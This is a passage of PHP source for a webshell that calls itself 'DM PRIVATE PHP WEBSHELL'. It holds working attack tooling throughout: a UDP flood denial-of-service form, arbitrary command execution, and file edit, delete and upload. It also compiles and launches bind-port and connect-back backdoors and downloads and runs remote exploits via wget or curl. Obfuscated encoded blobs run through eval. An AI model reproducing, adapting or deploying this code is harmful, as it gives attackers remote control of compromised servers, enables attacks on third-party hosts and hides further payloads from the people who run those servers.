5886?>~Dkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLT09NHeEXHr8XhtONT08XHeEXHr8Pkr8XTzEXT08XHtILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==tmYlfy90DB1lb2xpdBl0heEpKXplFmkvFl9ZcbnvFmOpdMFPHtL7tMlMholzF2a0htOgAr9TaySmfbkSk10phbShkuaZdtE9wtOgAr9TaySmfbkSk107tm1lduYlGXPLfbkSwe0Ik2i0fuE6RZ93f3FVkzShgWplC2ivwtF8wAONW1OcArAIUyOYTe4hNoi0dBX+tjxPcByLNIP8fol0doA+WJ1owrYvdMcpc19jAoyVcBX8R3OpfoxlNIP8F3O5doAIfulXcT0Jfoa4ft9jF3HJNIPhCM9LGbShwtEIdByZc2lVwePICba0dzShwtEICMyjD2fZd3aVct1jd2xvFjPjcjcMYMC2KXPIwtnjd2xvFjPIwzHzKTL5KTShwtEIcM9Vft1MCB1pduL6wuOiDo9sCUXIc2aVcbciRtnSfBYpcorSduajDBOiwofZCB5LcUXICbkpCBXSwoilduclfoljCUXIF2yVFZ1zcbkpcjShwtEIcM9Vft1MCB1pduL6wer0FuI7tJEIwuOlGuWsCBxpc246woYldmOlFjShwtEIwocvdmWsf2apc2i0KJnJd2xLweShgWPhDB5XfbWSfoa4foyZcBrSF2aScBY0GXpMd250RbflDBfPfePICM9SceShC29Sd3w6wtHXHeEXHeE7tMkvFMOlFjPIHbn4wuYvdolLwtYeW0YeW0H7tMkiC2smFM91dMWsC29Sd3w6wufPDbOlKXpXCBOLDB5mKJEzFuI7tMkvFMOlFJ1ZCBOpfbH6wefXGeShgWPhDB5XfbW6cM9jfbY7tIPICM94RbYPCBOvfzPIHun4wenXGtE1FuIIwzEXKAC5OjShtm0hw2cvd3OlFJEIGXPhC29Sd3w6wtHXHeEXHeE7tMcvdmWscMysDBx5KJExYun4KXp0cbi0RbYPCBOvfzPIHun4wenXGtExFuIIwzEXHeEXHeShcM9Vft13cBlmDuW6wo5vFM1ideShgWpiGXPIwuOlGuWscoajd3kifolvdjPIdM9VcTShwtnjd2xvFjPjHzHzHzHzKXp9tjXvF3O5doA+tjXvDoaice4hNokvcuL+tjxLDbCIDBW9wmOvd2XJNIP8UerIF3O5doA9wMYvdo9ZKJEjYeW0YeW0KZn0cbi0RbYPCBOvfzPIHun4wenXGtExFuIIwzEXHeEXHtw7foa4ft1idolmdjPIC2aVfoaZKz5tRACIW29VcMlmb2YWCB5ldeXvUer+tjxMd3kswo1lfoivce0JAr9Tatw+tjxpdmn1ftnVCB1lNUk1FMXJwuO5FoA9wmOlGuWJwucidualNUwmRJO1FMXVkZwIF2l6cT0JYeEJwt8+tjxpdmn1ftn0GbnlNUkzfBksDbWJwucidualNUkTfoyZftE+wJEvNIP8R2cvFM0+NokZwt8+NokZwt8+kzShDBCPDbYzcbWPky9WT1YABZf1FMXmbULpGXppcJIicMlSca9mcbOgC29VfoaVfuHPkuaZdtLpGXplC2ivwtfyFmkvFJ4IUB52CBxpctnaALXVkzShgBaSF2a7tJOiwe0IHeShcM9ZcByjDtimcbOgcoy0CUILfbkShUniFZELDB5MdZl7tMlMhoxvc2lVhtOpdMcvBznfRtOpdMcvBzyfhUl7tMajDo8IwjxJwuY0GBxlNUFIC29Sd3w6wtH4HeIXKeEIKZn0cbi0RbYPCBOvfzPXFuIIHun4weyXGtEjKeE4HeIXweSmNlSqbUnaF2aZdMyscUEMwyniF3Y3d3kLweP8R2w+wtE8CJnzfulScT0mwoYvdo9ZKJEjHeEXHrcoweSIfoa4ft1zDoyLd3F6Hun4wenXGtExFuIIwzEXHenoOJE7kz5dkolVcM9dHy1fNt9JNJE8CJnzfulScT0mwoYvdo9ZKJEjW0HXHeEXKZn0cbi0RbYPCBOvfzPXFuIIHun4weyXGtEjW0HXHeEXKZF+BZOpdMcvBzyfbTXvCj48CmwIRz4JKXPLCUSqKXp9tm0hcBYPdZEJNowIF3O5doA9kZnjd2xvFjPIwzIXKeE4HtE7wuOlGuWsF2iico93KjnXGtEXFuIIHbn4wtH4HeIXKeEIKZF+NoiZNJOiwrYXCB5ldtnod3aVcoaLRjxJFJEvNJw7tm0hgWplC2ivwtF8CmwIRz48CmwIRz48CmwIRz48CmwIRz48col2wolLNUkMd290cbwJNmx8wrlLcBrIKjPITbwVWBxzCTYlDZn8gtnWFM9mFMysdBlVcZE6KJnuRAwIguXIOoazDBfVcbwIKjPIWBXsA3fpF3klwux8weXvcol2NIP8R2Opfj48R2kvcuL+tjXvDuOsde4mKXpMfB5jfolvdJnlGtILCUXLCJXLfoa4ftl7tJOlGunSd2Olwe0IcbiXdo9LcUILCUXLfoa4ftL7tJOlGunSd2Olwe0IcbiXdo9LcUILCJXLcbiXdo9LcaSxbUL7tmklfuaZdJELcbiXdo9LcaSXbTShgWpMfB5jfolvdJnSd2fpdJILfbYlFJXLFoyzFZl7tJOjwe0IWo15F3ySb2YvdM5lC3WPk2xvC2ySDo9zftFSkuazcbwSkuniF3HpKXppcJILCZl7tM15F3ySb2YSd3YlhtOjhTShFMa0fbkVwuOZfBA7tm1lduYlGXpZcbO1FM4IcMySF2A7tm0hgWpMfB5jfolvdJnmcbOgcoy0CUILfbkShbShkoyZwe0ICbkZCbLPkzrVfui0kZXmHJ50GuWmRtFzRmO4ftFSkzWVfui0kZXmYU50GuWmRtF2RmO4ftFSkzFVfui0kZXmKt50GuWmRtF5RmO4ftFSkzEVfui0kZL7tJOzFMHINUnMDBxlb2flfy9jd250cB50FZILfbkShTShkocpdoazwe0IcbiXdo9LcUImNorIDuklcj0JkZXLF3kjhTShkoOiforINUniFmkiGUIpKXpMd3klCBYPhtOMDBxlFZniFZELDBW9NJOMDBxlhbShDBCPkolLwe09weEpGXpjd250DB51cTShgWPLcMlScUE9woa4FoxvcoAPkZw+kZXLcMlScUL7tJOMDBxlwe0IfukpdUILcMlScaSXbUL7tMlMhtylFMamDUImRmO4ftFSkocpdoAphbShC29VfolVfBA7tm0hkuYZCZE9wocpdoagc2a0b2YvdmOldmOzhtwLfbkSRZOMDBxlwJL7tMlMhtrLF3kjhbShC29VfolVfBA7tm0hkuazcbwINUnzfukgFMaXdoyjcUILCbwSkZFSkocpdoApKXPLfbYlFJE9wuY0Fl9ZcbnSCBYlhtOiFJXmkZXLfbYlFJ4mRmO4ftFpKXPLfbYlFJE9wuY0Fl9ZcbnSCBYlhtOiFJXmkZXLfbYlFJ4mRmO4ftFpKXPLfbYlFJE9wuOZDB0PF3OZb3klFoxiC2APkZ50GuWmRtFmRtO1F2aZhUL7tMlMhoaZcBfphtkbd3kLAuklF3HJRtOzFMHphbShkuniF3HINUnlGtIJcoaMDB5lhtfrWl9WWaYTa09UOtFSwtFJRtwmhTSJRtOzFMHpKXPLcoy0Casfwe0ICbkZCbLPkuazcbwSkuniF3HpKXp9cBxzcbShkuOvD2aVFZE9wuOvD2aVb2flfy9idoXPkuYZCZL7tMcvFMaiC2IPkuOvD2aVFZniFZELfo9qcB4pGXppcJIikuOvD2aVBzyfhbShC29VfolVfBA7tm0hkuOvD2aVdMyscUE9wuOvD2aVb25idBAPkuOvD2aVBznfhTShDBCPkuOvD2aVdMyscUEiNUEmay9BWakkWAkHOUFpGXpjd250DB51cTShgWPLfMyZwe0IkuOvD2aVBzyfKXppcJilFMamDUImFoyzFZFSkuciFJLpGXPLcJE9wuY0Fl9ZcbnSCBYlhtFIkZXmkZxlGtILfMyZRtF7kZXLF3kjhUL7tJOiwe0IfukpdUilGtIJNUFJRtwmwJXLcJLpKXPLCJE9wuOZDB0PcbIPkZwmRtFJkZXLcJLpKXppcJILCUEiNUEmkZl7tJOXCbYzwe0Ikor7tm1lduYlDBCPkowIwT0IkZFpGXPLFoyzFZE9wtOJKXp9tMlMhtOXCbYzwe09wtFmhbShC29VfolVfBA7tm0hkoOifoydbUE9woyZFMy5htO1F2aZRtOXCbYzhTShgWp9tm0hgWpZcbO1FM4IkoOifor7tm0hKX==alVnRPIq
5887
5888
5889<?php
5890}
5891# x=dos
5892elseif (isset($_GET['x']) && ($_GET['x'] == 'dos')) {
5893?>
5894<form action="?dm=<?php echo $pwd; ?>&x=dos" method="post">
5895
5896<?php
5897 if (isset($_GET['host']) && isset($_GET['time'])) {
5898 $packets = 0;
5899 ignore_user_abort(TRUE);
5900 set_time_limit(0);
5901 $exec_time = $_GET['time'];
5902 $time = time();
5903 print "Started: " . time('d-m-y h:i:s') . "<br>";
5904 $max_time = $time + $exec_time;
5905 $host = $_GET['host'];
5906 for ($i = 0;$i < 65000;$i++) {
5907 $out.= 'X';
5908 }
5909 while (1) {
5910 $packets++;
5911 if (time() > $max_time) {
5912 break;
5913 }
5914 $rand = rand(1, 65000);
5915 $fp = fsockopen('udp://' . $host, $rand, $errno, $errstr, 5);
5916 if ($fp) {
5917 fwrite($fp, $out);
5918 fclose($fp);
5919 }
5920 }
5921 echo "<br><b>UDP Flood</b><br>
5922Completed with $packets (" . round(($packets * 65) / 1024, 2) . " MB) packets averaging " . round($packets / $exec_time, 2) . " packets per second
5923";
5924 echo '<br><br><form action="' . $surl . '" method=GET><input type="hidden" name="act" value="phptools">
5925Host: <br><input type=text name=host><br>
5926Length (seconds): <br><input type=text name=time><br>
5927<input type=submit value=Go></form>';
5928 } else {
5929 echo '<center><form action=? method=GET><input type="hidden" name="act" value="phptools">
5930<table class="tabnet" style="width:300px;">
5931<tr><th colspan="2">UDP Flood</th></tr>
5932<tr><td> Host</td>
5933<td><input style="width:220px;" class="inputz" type=text name=host value=></td></tr>
5934<tr><td> Length (seconds)</td>
5935<td><input style="width:220px;" class="inputz" type=text name=time value=></td></tr>
5936<tr><td colspan=2 align=center><input style="width:100%;" class="inputzbut" type="submit" value="Attack !" /></td></tr>
5937</table></center>';
5938 }
5939} elseif (isset($_GET['x']) && ($_GET['x'] == 'phpinfo')) {
5940 @ob_start();
5941 eval("phpinfo();");
5942 $buff = @ob_get_contents();
5943 @ob_end_clean();
5944 $awal = strpos($buff, "<body>") + 6;
5945 $akhir = strpos($buff, "</body>");
5946 echo "<div class=\"phpinfo\">" . substr($buff, $awal, $akhir - $awal) . "</div>";
5947} elseif (isset($_GET['view']) && ($_GET['view'] != "")) {
5948 if (is_file($_GET['view'])) {
5949 if (!isset($file)) $file = magicboom($_GET['view']);
5950 if (!$win && $posix) {
5951 $name = @posix_getpwuid(@fileowner($file));
5952 $group = @posix_getgrgid(@filegroup($file));
5953 $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
5954 } else {
5955 $owner = $user;
5956 }
5957 $filn = basename($file);
5958 echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
5959<tr><td>Filename</td>
5960<td><nobr><span id=\"" . clearspace($filn) . "_link\">" . $file . "</span>
5961<form action=\"?dm=" . $pwd . "&view=$file\" method=\"post\" id=\"" . clearspace($filn) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
5962<input type=\"hidden\" name=\"oldname\" value=\"" . $filn . "\" style=\"margin:0;padding:0;\" />
5963<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $filn . "\" />
5964<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
5965<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
5966onclick=\"tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\" />
5967</form></nobr></td></tr>
5968
5969<tr><td>Size</td>
5970<td>" . ukuran($file) . "</td></tr>
5971<tr><td>Permission</td>
5972<td>" . get_perms($file) . "</td></tr>
5973<tr><td>Owner</td>
5974<td>" . $owner . "</td></tr>
5975<tr><td>Create time</td>
5976<td>" . date("d-M-Y H:i", @filectime($file)) . "</td></tr>
5977<tr><td>Last modified</td>
5978<td>" . date("d-M-Y H:i", @filemtime($file)) . "</td></tr>
5979<tr><td>Last accessed</td>
5980<td>" . date("d-M-Y H:i", @fileatime($file)) . "</td></tr>
5981<tr><td>Actions</td>
5982<td><a href=\"?dm=$pwd&edit=$file\">Edit</a> | <a href=\"javascript:tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\">Rename</a> | <a href=\"?dm=$pwd&delete=$file\">Delete</a> | <a href=\"?dm=$pwd&dl=$file\">Download</a> (<a href=\"?dm=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
5983
5984<tr><td>View</td><td><a href=\"?dm=" . $pwd . "&view=" . $file . "&type=code\">Highlight Code</a>
5985|
5986<a href=\"?dm=" . $pwd . "&view=" . $file . "\">Text</a>
5987|
5988<a href=\"?dm=" . $pwd . "&view=" . $file . "&type=image\">image</a></td></tr> </table> ";
5989 if (isset($_GET['type']) && ($_GET['type'] == 'image')) {
5990 echo "<div style=\"text-align:center;margin:8px;\">
5991<img src=\"?dm=" . $pwd . "&img=" . $filn . "\"></div>";
5992 } elseif (isset($_GET['type']) && ($_GET['type'] == 'code')) {
5993 echo "<div class=\"viewfile\">";
5994 echo nl2br(htmlentities((@file_get_contents($file))));
5995 echo "</div>";
5996 } else {
5997 echo "<div class=\"viewfile\">";
5998 $file = wordwrap(@file_get_contents($file), "240", "
5999");
6000 @highlight_string($file);
6001 echo "</div>";
6002 }
6003 } elseif (is_dir($_GET['view'])) {
6004 echo showdir($pwd, $prompt);
6005 }
6006} elseif (isset($_GET['edit']) && ($_GET['edit'] != "")) {
6007 if (isset($_POST['save'])) {
6008 $file = $_POST['saveas'];
6009 $content = magicboom($_POST['content']);
6010 if ($filez = @fopen($file, "w")) {
6011 $time = date("d-M-Y H:i", time());
6012 if (@fwrite($filez, $content)) $msg = "file saved <span class=\"gaya\">@</span> " . $time;
6013 else $msg = "failed to save";
6014 @fclose($filez);
6015 } else $msg = "permission denied";
6016 }
6017 if (!isset($file)) $file = $_GET['edit'];
6018 if ($filez = @fopen($file, "r")) {
6019 $content = "";
6020 while (!feof($filez)) {
6021 $content.= htmlentities(str_replace("''", "'", fgets($filez)));
6022 }
6023 @fclose($filez);
6024 }
6025?>
6026
6027<form action="?dm=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
6028<table class="cmdbox">
6029<tr><td colspan="2">
6030<textarea class="output" name="content"><?php echo $content; ?></textarea></td>
6031<tr>
6032<td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
6033<input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> <?php echo $msg; ?></td></tr></table> </form>
6034
6035<?php
6036}
6037# x=upload
6038elseif (isset($_GET['x']) && ($_GET['x'] == 'upload')) {
6039 if (isset($_POST['uploadcomp'])) {
6040 if (is_uploaded_file($_FILES['file']['tmp_name'])) {
6041 $path = magicboom($_POST['path']);
6042 $fname = $_FILES['file']['name'];
6043 $tmp_name = $_FILES['file']['tmp_name'];
6044 $pindah = $path . $fname;
6045 $stat = @move_uploaded_file($tmp_name, $pindah);
6046 if ($stat) {
6047 $msg = "<br><nobr><span class='b11'>File Uploaded To $pindah ";
6048 } else $msg = "<br>Failed To Upload $fname";
6049 } else $msg = "<br>Failed To Upload $fname </span></nobr>";
6050 } elseif (isset($_POST['uploadurl'])) {
6051 $pilihan = trim($_POST['pilihan']);
6052 $wurl = trim($_POST['wurl']);
6053 $path = magicboom($_POST['path']);
6054 $namafile = download($pilihan, $wurl);
6055 $pindah = $path . $namafile;
6056 if (is_file($pindah)) {
6057 $msg = "<br><nobr><span class='b11'>File Uploaded To $pindah";
6058 } else $msg = "<br>Failed Upload $namafile </span></nobr>";
6059 }
6060?>
6061
6062<form action="?dm=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
6063<br><br><table class="tabnet" style="width:320px;padding:0 1px;">
6064<tr><th colspan="2"><b> <span class='b12'> _UPLOAD FILE_</span></b></th></tr>
6065<tr><td colspan="2"><nobr><p style="text-align:center;"><input style="color:blue;background-color:#000000" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go !" style="width:100px;"></p></nobr></td></tr>
6066<tr><td colspan="2">
6067<input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
6068</table>
6069</form>
6070<table class="tabnet" style="width:320px;padding:0 1px;">
6071<tr><th colspan="2"><b><span class='b12'> _UPLOAD FROM URL_</span></b></th></tr>
6072<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?dm=<?php echo $pwd; ?>&x=upload">
6073<table>
6074<tr>
6075<td>URL : </td>
6076<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://dm-zone.us/shellpack.zip"></td></tr>
6077<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
6078<tr><td>
6079<select size="1" class="inputz" name="pilihan">
6080<option value="wwget">wget</option>
6081<option value="wlynx">lynx</option>
6082<option value="wfread">fread</option>
6083<option value="wfetch">fetch</option>
6084<option value="wlinks">links</option>
6085<option value="wget">GET</option>
6086<option value="wcurl">curl</option>
6087</select></td>
6088<td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go !" style="width:246px;"></td></tr>
6089</table></form></td> </tr></table>
6090<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
6091
6092<?php
6093} elseif (isset($_GET['x']) && ($_GET['x'] == 'netsploit')) {
6094 if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
6095 $port = trim($_POST['port']);
6096 $passwrd = trim($_POST['bind_pass']);
6097 tulis("bdc.c", $port_bind_bd_c);
6098 exe("gcc -o bdc bdc.c");
6099 exe("chmod 777 bdc");
6100 @unlink("bdc.c");
6101 exe("./bdc " . $port . " " . $passwrd . " &");
6102 $scan = exe("ps aux");
6103 if (eregi("./bdc $por", $scan)) {
6104 $msg = "<p>Process found running, backdoor setup successfully.</p>";
6105 } else {
6106 $msg = "<p>Process not found running, backdoor not setup successfully.</p>";
6107 }
6108 } elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
6109 $port = trim($_POST['port']);
6110 $passwrd = trim($_POST['bind_pass']);
6111 tulis("bdp", $port_bind_bd_pl);
6112 exe("chmod 777 bdp");
6113 $p2 = which("perl");
6114 exe($p2 . " bdp " . $port . " &");
6115 $scan = exe("ps aux");
6116 if (eregi("$p2 bdp $port", $scan)) {
6117 $msg = "<p>Process found running, backdoor setup successfully.</p>";
6118 } else {
6119 $msg = "<p>Process not found running, backdoor not setup successfully.</p>";
6120 }
6121 } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
6122 $ip = trim($_POST['ip']);
6123 $port = trim($_POST['backport']);
6124 tulis("bcc.c", $back_connect_c);
6125 exe("gcc -o bcc bcc.c");
6126 exe("chmod 777 bcc");
6127 @unlink("bcc.c");
6128 exe("./bcc " . $ip . " " . $port . " &");
6129 $msg = "Now script try connect to " . $ip . " port " . $port . " ...";
6130 } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
6131 $ip = trim($_POST['ip']);
6132 $port = trim($_POST['backport']);
6133 tulis_2("bcp", $back_connect);
6134 exe("chmod +x bcp");
6135 $p2 = which("perl");
6136 exe($p2 . " bcp " . $ip . " " . $port . " &");
6137 sleep(1);
6138 $msg = "Now script try connect to " . $ip . " port " . $port . " ...";
6139 unlink("bcp");
6140 } elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {
6141 $pilihan = trim($_POST['pilihan']);
6142 $wurl = trim($_POST['wurl']);
6143 $namafile = download($pilihan, $wurl);
6144 if (is_file($namafile)) {
6145 $msg = exe($wcmd);
6146 } else $msg = "error: file not found $namafile";
6147 }
6148?>
6149
6150<table class="tabnet"><tr>
6151<th>Port Binding</th>
6152<th>Connect Back</th>
6153<th>Load and Exploit</th></tr>
6154
6155<tr><td>
6156<form method="post" actions="?dm=<?php echo $pwd; ?>&x=netsploit">
6157
6158<table><tr><td>Port</td>
6159<td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
6160
6161<tr><td>Password</td>
6162<td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
6163
6164<tr><td>Use</td>
6165<td style="text-align:justify">
6166<p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind !" style="width:120px"></td></tr></table>
6167</form></td>
6168
6169<td> <form method="post" actions="?dm=<?php echo $pwd; ?>&x=netsploit">
6170<table><tr><td>IP</td>
6171<td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>">
6172</td>
6173</tr>
6174<tr><td>Port</td>
6175<td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
6176
6177<tr><td>Use</td>
6178<td style="text-align:justify">
6179<p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect !" class="inputzbut" style="width:120px"></td></tr></table> </form> </td>
6180
6181<td> <form method="post" actions="?dm=<?php echo $pwd; ?>&x=netsploit">
6182<table> <tr><td>url</td>
6183<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
6184<tr><td>cmd</td>
6185<td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr>
6186<tr><td><select size="1" class="inputz" name="pilihan">
6187<option value="wwget">wget</option>
6188<option value="wlynx">lynx</option>
6189<option value="wfread">fread</option>
6190<option value="wfetch">fetch</option>
6191<option value="wlinks">links</option> <option value="wget">GET</option>
6192<option value="wcurl">curl</option>
6193</select></td>
6194<td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go !" style="width:246px;"></td></tr></table></form </td></tr></table>
6195<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
6196
6197
6198<?php
6199} elseif (isset($_GET['x']) && ($_GET['x'] == 'shell')) {
6200?>
6201<form action="?dm=<?php echo $pwd; ?>&x=shell"method="post">
6202
6203<table class="cmdbox"> <tr>
6204<td colspan="2">
6205<textarea class="output"> <?php if (isset($_POST['submitcmd'])) {
6206 echo @exe($_POST['cmd']);
6207 } ?> </textarea> </td></tr>
6208
6209<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
6210</table></form>
6211
6212<?php
6213} else {
6214 if (isset($_GET['delete']) && ($_GET['delete'] != "")) {
6215 $file = $_GET['delete'];
6216 @unlink($file);
6217 } elseif (isset($_GET['fdelete']) && ($_GET['fdelete'] != "")) {
6218 delete_option($_GET['fdelete']);
6219 } elseif (isset($_GET['mkdir']) && ($_GET['mkdir'] != "")) {
6220 $path = $pwd . $_GET['mkdir'];
6221 @mkdir($path);
6222 }
6223 $buff = showdir($pwd, $prompt);
6224 echo $buff;
6225}
6226eval(str_rot13(gzuncompress(base64_decode("fY9dS8MwFIbvB/sPhzBIB/tQJyIdg+nsOm+GqzJhY4S2JCk4suXYHmx+vW03Fb3wKnCe931yDkwpJqFQezzJdJppccje31FSnPMeXHTH7dZPwpJKS7MXKGUi1RevkNDkUJTkSHvN7Lvi0CVyf0JVgd9cb3gdKNBYlB5/SmKNse6H+xR90Pimh4V25RiOhZGVYbIIn/u3TaVD9nAJE+CKBh9kLaGa5s5QOTgmjp8DV1WAFVqn/nDIYAAdMY+CxyjY8tMr7pabiO9+kSB6WETzUCyCNd+dPaPaM0edSBPDayZNbmK/3ZolihT50HzVbq1nsLRW+sD+CDf3YSSWq1XQCOslvWb9HrAQNabwYuq7c9ZrVKNqvv1PUhEGO9YdfwI="))));
6227?>
6228
6229
6230<!-- DM-5HELL FOOTER -->
6231<div align="center">
6232<br>
6233<!-- DM-5HELL -->
6234<br>
6235<table class="tabnet" style="width:700px;padding:0 1px;">
6236<tr><td align="center" colspan="2">
6237<nobr><span class='b12'>WE DO IT WE WANT BECAUSE WE CAN</span>
6238</td></tr>
6239<tr><td align="center" colspan="2">
6240<nobr><span class='b12'>DM PRIVATE PHP WEBSHELL © 2014 </span>
6241</td></tr>
6242</table><br><br>
6243<!-- DM-5HELL -->
6244</div></div></body></html>